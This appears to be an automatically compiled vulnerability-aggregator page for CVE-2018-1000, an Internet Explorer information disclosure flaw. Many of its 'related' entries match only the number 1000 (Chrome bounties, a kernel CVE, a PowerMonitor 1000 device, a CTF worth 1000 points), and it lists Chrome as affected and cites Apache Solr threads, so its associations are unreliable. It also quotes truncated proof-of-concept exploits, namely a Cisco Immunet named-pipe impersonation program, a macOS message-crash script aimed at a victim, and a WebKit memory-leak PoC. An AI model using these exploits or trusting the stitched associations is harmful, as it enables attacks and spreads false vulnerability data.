CVE-2018-1000
published 2018-04-12CVE-2018-1000: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine…
PriorityP431medium5.3CVSS 3.0
AVNACHPRNUIRSUCHINAN
EPSS
7.53%
93.8th percentile
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine Information Disclosure Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-0981, CVE-2018-0987, CVE-2018-0989.
Affected
28 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome_chrome | — | — | |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer_10 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_11 | — | — |
| microsoft | internet_explorer_9 | — | — |
| microsoft | internet_explorer_9 | — | — |
CVSS provenance
nvdv3.05.3MEDIUMCVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
nvdv2.02.6LOWAV:N/AC:H/Au:N/C:P/I:N/A:N
vendor_msrc6.4MEDIUM
vendor_redhat5.3MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-x5v9-r246-vr73: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
ghsa_unreviewed·2022-05-13·CVSS 4.3
CVE-2018-0981 [MEDIUM] CWE-787 GHSA-x5v9-r246-vr73: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine Information Disclosure Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-0987, CVE-2018-0989, CVE-2018-1000.
GHSA
GHSA-mh63-77cm-cvj3: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
ghsa_unreviewed·2022-05-13·CVSS 5.3
CVE-2018-1000 [MEDIUM] CWE-787 GHSA-mh63-77cm-cvj3: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine Information Disclosure Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-0981, CVE-2018-0987, CVE-2018-0989.
GHSA
GHSA-6hmf-7275-3j35: An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Internet Explorer, aka "Scripti
ghsa_unreviewed·2022-05-13·CVSS 5.3
CVE-2018-0987 [MEDIUM] GHSA-6hmf-7275-3j35: An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Internet Explorer, aka "Scripti
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Internet Explorer, aka "Scripting Engine Information Disclosure Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-0981, CVE-2018-0989, CVE-2018-1000.
GHSA
GHSA-c29r-j95m-xvm7: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
ghsa_unreviewed·2022-05-13·CVSS 5.3
CVE-2018-0989 [MEDIUM] CWE-787 GHSA-c29r-j95m-xvm7: An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Eng
An information disclosure vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine Information Disclosure Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-0981, CVE-2018-0987, CVE-2018-1000.
Chrome
Stable Channel Update for Desktop: CVE-2020-6431
vendor_chrome·2020-04-07·CVSS 4.3
CVE-2020-6431 [MEDIUM] Stable Channel Update for Desktop: CVE-2020-6431
Stable Channel Update for Desktop
CVE-2020-6431: Insufficient policy enforcement in full screen. Reported by Luan Herrera (@lbherrera_) on 2018-06-14
[$1000][ 965611 ] Medium CVE-2020-6432: Insufficient policy enforcement in navigations
Reported by David Erceg on 2019-05-21
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2020-6500
vendor_chrome·2020-02-04·CVSS 6.5
CVE-2020-6500 [MEDIUM] Stable Channel Update for Desktop: CVE-2020-6500
Stable Channel Update for Desktop
CVE-2020-6500: Inappropriate implementation in interstitials. Reported by evi1m0 of Bilibili Security Team on 2018-05-15
[$1000][ 1038036 ] Medium CVE-2020-6400: Inappropriate implementation in CORS
Reported by Takashi Yoneuchi (@y0n3uchy) on 2019-12-27
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2019-13743
vendor_chrome·2019-12-10·CVSS 6.5
CVE-2019-13743 [MEDIUM] Stable Channel Update for Desktop: CVE-2019-13743
Stable Channel Update for Desktop
CVE-2019-13743: Incorrect security UI in external protocol handling. Reported by Zhiyang Zeng of Tencent security platform department on 2017-08-10
[$1000][ 853670 ] Medium CVE-2019-13744: Insufficient policy enforcement in cookies
Reported by Prakash (@1lastBr3ath) on 2018-06-18
Severity: medium
Red Hat
kernel: Infoleak caused by incorrect handling of the SG_IO ioctl
vendor_redhat·2018-05-18·CVSS 5.3
CVE-2018-1000204 [MEDIUM] CWE-200 kernel: Infoleak caused by incorrect handling of the SG_IO ioctl
kernel: Infoleak caused by incorrect handling of the SG_IO ioctl
Linux Kernel version 3.18 to 4.16 incorrectly handles an SG_IO ioctl on /dev/sg0 with dxfer_direction=SG_DXFER_FROM_DEV and an empty 6-byte cmdp. This may lead to copying up to 1000 kernel heap pages to the userspace. This has been fixed upstream in https://github.com/torvalds/linux/commit/a45b599ad808c3c982fdcdc12b0b8611c2f92824 already. The problem has limited scope, as users don't usually have permissions to access SCSI devices. On the other hand, e.g. the Nero user manual suggests doing `chmod o+r+w /dev/sg*` to make the devices accessible. NOTE: third parties dispute the relevance of this report, noting that the requirement for an attacker to have both the CAP_SYS_ADMIN and CAP_SYS_RAWIO capabilities makes it "virtually
Microsoft
Scripting Engine Memory Corruption Vulnerability
vendor_msrc·2018-04-10·CVSS 6.4
CVE-2018-1000 [MEDIUM] Scripting Engine Memory Corruption Vulnerability
Scripting Engine Memory Corruption Vulnerability
Description: A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
In a web-based attack scenario, an attacker could host a specially crafted websi
No detection rules found.
Exploit-DB
Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass
exploitdb·2018-12-04·CVSS 8.1
CVE-2018-19616 [HIGH] Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass
Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass
---
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control
# Date: 2018-11-27
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.rockwellautomation.com/
# Version: 1408-EM3A-ENT B
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
# CVE : CVE-2018-19616
# 1. Description:
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page, there are a few buttons are disabled,
# such as “Edit”, “Remove”, “AddNew”, “Change Policy Holder” and “Security Configuration”.
# View the source code of login page, those buttons/functions just use the “disabled” parameter to control th
Exploit-DB
Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
exploitdb·2018-12-03
Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
---
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
# Date: 2018-11-27
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.rockwellautomation.com/
# Version: 1408-EM3A-ENT B
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
# CVE : N/A
# 1. Description:
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page,
# user can add a new user by access the /Security/Security.shtm.
# When users add a new user, the new user’s account will in the post data.
# Attackers can inject malicious XSS code in user’s account parameter of post data.
# The user’s account parameter will be stored in databa
Exploit-DB
Cisco Immunet < 6.2.0 / Cisco AMP For Endpoints 6.2.0 - Denial of Service
exploitdb·2018-11-13·CVSS 5.5
CVE-2018-15437 [MEDIUM] Cisco Immunet < 6.2.0 / Cisco AMP For Endpoints 6.2.0 - Denial of Service
Cisco Immunet
#define pipename "\\\\.\\pipe\\IMMUNET_SCAN"
/* Discovered by hyp3rlinx
CVE-2018-15437 */
int main(void) {
while (TRUE){
HANDLE pipe = CreateNamedPipe(pipename, PIPE_ACCESS_INBOUND | PIPE_ACCESS_OUTBOUND , PIPE_WAIT, 1, 1024, 1024, 120 * 1000, NULL);
if (pipe == INVALID_HANDLE_VALUE){
printf("Error: %d", GetLastError());
}else{
printf("%s","pipe created\n");
printf("%x",pipe);
}
ConnectNamedPipe(pipe, NULL);
if(ImpersonateNamedPipeClient(pipe)){
printf("ok!");
}else{
printf("%s%d","WTF",GetLastError());
}
CloseHandle(pipe);
}
return 0;
}
/*
[Network Access]
Local / Remote
[Severity]
High
Disclosure Timeline
Vendor Notification: August 7, 2018
Vendor acknowledgement: August 7, 2018
Vendor released fixes: November 7th, 2018
November 8, 2018 : Public Dis
Exploit-DB
Apple macOS 10.13.4 - Denial of Service (PoC)
exploitdb·2018-09-12·CVSS 6.5
CVE-2018-4240 [MEDIUM] Apple macOS 10.13.4 - Denial of Service (PoC)
Apple macOS 10.13.4 - Denial of Service (PoC)
---
# Exploit Title: Apple MacOS 10.13.4 - Denial of Service (PoC)
# Date: 2018-09-10
# Exploit Author: Sriram (@Sri_Hxor)
# Vendor Homepage: https://support.apple.com/en-in/HT208848
# Tested on: macOS High Sierra 10.13.4, iOS 11.3, tvOS 11.3, watchOS 4.3.0
# CVE : CVE-2018-4240 (2018)
# POC : https://medium.com/@thesriram/cold-war-between-single-message-vs-mbbs-d5e004d64eaf
# Crashing Phone via RLM character.
# Steps to Reproduce,
# Run the below python script as "python apple.py", it will create a file called "dos_apple.txt"
# Copy the text from the generated apple.txt
# Paste it in WhatsApp and send it, victim gotta click and it will start crashing
end = "ereh-hcuot-t'nod"
dos = ""
payload = dos*1000 + end
try:
f=open("dos_apple.txt"
Exploit-DB
WebKit - WebAssembly Compilation Info Leak
exploitdb·2018-06-08
CVE-2018-4222 WebKit - WebAssembly Compilation Info Leak
WebKit - WebAssembly Compilation Info Leak
---
(arrayBufferView->vector()) : static_cast(arrayBuffer->impl()->data());
If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:
memcpy(result.data(), data + byteOffset, byteSize);
This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:
var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2,
Trendmicro
Microsoft Fixes Vulnerabilities in Fonts and Keyboard
blogs_trendmicro·2018-04-11·CVSS 5.3
[MEDIUM] Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Exploits & Vulnerabilities
## Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Microsof's Patch Tuesday for April addressed security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine.
By: IoT Reputation Service Team 2018/04/11 Read time: ( words)
Save to Folio
Microsoft has rolled out its Patch Tuesday for April to address security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine. Of the 67 listed vulnerabilities, 24 were rated critical. Eight of these were disclosed through Trend Micro’s ZDI program:
CVE-2018-1011
CVE-2018-1008
CVE-2018-1004
CVE-2018-1001
CVE-2018-1000
CVE-2018-0
Trendmicro
Microsoft Fixes Vulnerabilities in Fonts and Keyboard
blogs_trendmicro·2018-04-11·CVSS 5.3
[MEDIUM] Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Exploits & Vulnerabilities
# Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Microsof's Patch Tuesday for April addressed security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine.
By: IoT Reputation Service Team
2018/04/11
Read time: ( words)
Save to Folio
Microsoft has rolled out its Patch Tuesday for April to address security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine. Of the 67 listed vulnerabilities, 24 were rated critical. Eight of these were disclosed through Trend Micro’s ZDI program:
- CVE-2018-1011
- CVE-2018-1008
- CVE-2018-1004
- CVE-2018-1001
- CVE-2018-1000
- CVE
Trendmicro
Microsoft Fixes Vulnerabilities in Fonts and Keyboard
blogs_trendmicro·2018-04-11·CVSS 5.3
[MEDIUM] Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Exploits & Vulnerabilities
## Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Microsof's Patch Tuesday for April addressed security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine.
By: IoT Reputation Service Team Apr 11, 2018 Read time: ( words)
Save to Folio
Microsoft has rolled out its Patch Tuesday for April to address security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine. Of the 67 listed vulnerabilities, 24 were rated critical. Eight of these were disclosed through Trend Micro’s ZDI program:
CVE-2018-1011
CVE-2018-1008
CVE-2018-1004
CVE-2018-1001
CVE-2018-1000
CVE-2018
Trendmicro
Microsoft Fixes Vulnerabilities in Fonts and Keyboard
blogs_trendmicro·2018-04-11·CVSS 5.3
[MEDIUM] Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Ausnutzung von Schwachstellen
## Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Microsof's Patch Tuesday for April addressed security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine.
By: IoT Reputation Service Team Apr 11, 2018 Read time: ( words)
Save to Folio
Microsoft has rolled out its Patch Tuesday for April to address security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine. Of the 67 listed vulnerabilities, 24 were rated critical. Eight of these were disclosed through Trend Micro’s ZDI program:
CVE-2018-1011
CVE-2018-1008
CVE-2018-1004
CVE-2018-1001
CVE-2018-1000
CVE-2
Trendmicro
Microsoft Fixes Vulnerabilities in Fonts and Keyboard
blogs_trendmicro·2018-04-11·CVSS 5.3
[MEDIUM] Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Exploits y vulnerabilidades
## Microsoft Fixes Vulnerabilities in Fonts and Keyboard
Microsof's Patch Tuesday for April addressed security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine.
By: IoT Reputation Service Team Apr 11, 2018 Read time: ( words)
Save to Folio
Microsoft has rolled out its Patch Tuesday for April to address security issues in Internet Explorer (IE), Edge, ChakraCore, Visual Studio, Microsoft Office and Office Services and Web Apps, and Malware Protection Engine. Of the 67 listed vulnerabilities, 24 were rated critical. Eight of these were disclosed through Trend Micro’s ZDI program:
CVE-2018-1011
CVE-2018-1008
CVE-2018-1004
CVE-2018-1001
CVE-2018-1000
CVE-201
Talos
Microsoft Patch Tuesday - April 2018
blogs_talos·2018-04-10·CVSS 7.5
[HIGH] Microsoft Patch Tuesday - April 2018
## Microsoft Patch Tuesday - April 2018
## Microsoft Patch Tuesday - April 2018 Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month's advisory release addresses 65 new vulnerabilities and one advisory, with 25 of them rated critical, 39 of them rated important and one of them rated moderate. These vulnerabilities impact Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Windows kernel, Windows Hyper-V, Microsoft Scripting Engine and more.
In addition, an update for Adobe Flash Player was released.
## Critical Vulnerabilities This month, Microsoft is addressing 25 vulnerabilities that are rated "critical".
The vulnerabilities rated as "critical" are listed be
Talos
Microsoft Patch Tuesday - April 2018
blogs_talos·2018-04-10·CVSS 7.5
[HIGH] Microsoft Patch Tuesday - April 2018
## Microsoft Patch Tuesday - April 2018Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month's advisory release addresses 65 new vulnerabilities and one advisory, with 25 of them rated critical, 39 of them rated important and one of them rated moderate. These vulnerabilities impact Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Windows kernel, Windows Hyper-V, Microsoft Scripting Engine and more.
In addition, an update for Adobe Flash Player was released.
### Critical VulnerabilitiesThis month, Microsoft is addressing 25 vulnerabilities that are rated "critical".
The vulnerabilities rated as "critical" are listed below:
CVE-2018-0870 - Internet Explorer Me
CTF
Pwn_forest / README
ctf_writeups·2020
CVE-2018-5333 Pwn_forest / README
# forest
## Author
`Unknown`
## Description
```text
Do you want to challenge Boss?Yeah, you must get out of this forest,
and I am the king of the forest.
hint:
cve-2018-5333
URL
China：119.3.156.29 9876
Overseas：149.248.16.204 9876
```
## Distribution
- `forest_attachment.zip`
## Points
`1000`
## Solves
`1`
## Writeup
- N/A
http://www.securityfocus.com/bid/103603http://www.securitytracker.com/id/1040653https://lists.apache.org/thread.html/6c9991dbcb7358e18a46cd113fa0fd7586eaf312b1c7f7d4cdb16fa1%40%3Csolr-user.lucene.apache.org%3Ehttps://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451%40%3Csolr-user.lucene.apache.org%3Ehttps://lists.apache.org/thread.html/83315d9b28d9010eeeec360f3295105354b8ff30d94e75b5c67c13ac%40%3Csolr-user.lucene.apache.org%3Ehttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1000http://www.securityfocus.com/bid/103603http://www.securitytracker.com/id/1040653https://lists.apache.org/thread.html/6c9991dbcb7358e18a46cd113fa0fd7586eaf312b1c7f7d4cdb16fa1%40%3Csolr-user.lucene.apache.org%3Ehttps://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451%40%3Csolr-user.lucene.apache.org%3Ehttps://lists.apache.org/thread.html/83315d9b28d9010eeeec360f3295105354b8ff30d94e75b5c67c13ac%40%3Csolr-user.lucene.apache.org%3Ehttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1000
2018-04-12
Published